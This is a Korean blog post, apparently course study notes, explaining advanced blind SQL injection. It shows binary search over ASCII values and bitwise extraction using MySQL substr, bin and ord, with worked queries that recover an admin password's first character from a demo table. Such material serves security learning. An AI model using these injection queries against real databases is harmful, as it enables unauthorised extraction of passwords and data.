INTERLUDE/Web Hacking

[DreamHack]-WHA ExploitTech: 블라인드 SQL 인젝션 고급

sohexz 2022. 3. 20. 15:59

Blind SQL Injection을 통해 데이터베이스의 내용을 효율적으로 알아내기 위한 방법

 

Binary Search

이미 정렬된 리스트에서 임의의 값을 효율적으로 찾기 위한 알고리즘

 

1. 범위 지정

0부터 100 사이의 범위 내에 한 숫자만이 정답일 때 범위의 중간 값(50)을 지정

2. 범위 조절

정답이 50 보다 큰 값인지 확인

큰 값이라면 범위를 51 ~ 100으로 조절하고, 아니라면 0~49로 조절하여 검색 범위를 좁혀나감

이 과정을 반복하다보면 범위를 크게 좁힐 수 있고, 최종적으로 정답을 찾아낼 수 있음

 

Binary Search를 이용한 공격

substr 함수의 반환값을 비교하여 패스워드를 알아낼 수 있음

 

비밀번호에 포함될 수 있는 아스키에서 출력 가능한 문자의 범위는 32~126

패스워드의 첫 번째 바이트가 79보다 큰 값인지 확인

비밀번호의 첫 번째 바이트가 'P' 즉, 80이므로 결과가 참인 것을 확인

이처럼 해당 쿼리에 이진 탐색 알고리즘을 적용한 과정을 반복

 

Bit 연산

ASCII는 0부터 127 범위의 문자를 표현할 수 있으며, 이는 곧 7 개의 비트를 통해 하나의 문자를 나타낼 수 있다는 것을 의미

하나의 비트는 0과 1로 이뤄져 있음

7 개의 비트에 대해 1인지 비교하면 총 7 번의 쿼리로 임의 데이터의 한 바이트를 알아낼 수 있음

 

MySQL에서는 숫자를 비트 형태로 변환하는 bin이라는 함수를 제공

 

비트 연산을 통한 Blind SQL Injection 예시

mysql> select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin    | P@ssword |
+----------+----------+
1 row in set (0.01 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),4,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),5,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),6,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)

substr과 bin을 통해서 총 7 번의 쿼리를 실행해 한 바이트를 알아낼 수 있음

총 7번의 쿼리로 반환 결과를 통해 한 바이트를 알아낼 수 있음

결과를 토대로 2 진수를 표현하면 1010000이며 이를 10 진수로 표현하면 80, 문자로 표현하면 'P'가 됨